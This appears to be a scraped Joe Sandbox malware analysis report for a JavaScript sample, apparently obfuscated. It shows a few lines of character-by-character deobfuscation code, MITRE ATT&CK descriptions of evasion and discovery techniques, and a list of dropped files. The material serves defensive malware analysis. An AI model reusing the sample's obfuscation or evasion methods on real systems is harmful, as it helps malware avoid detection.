1446	ydwhfoig = "O";
1447	ydwhfoig = "A";
1448	ydwhfoig = "a";
1449	ydwhfoig = "Y";
1450	ydwhfoig = "s";
1451	ydwhfoig = "u";
1452	ydwhfoig = "w";
1453	uvpvhrfbs ( );	uvpvhrfbs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 72382724245064961.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a365a33d-8349-449f-b12d-bace5c317205.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6720

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
72382724245064961.js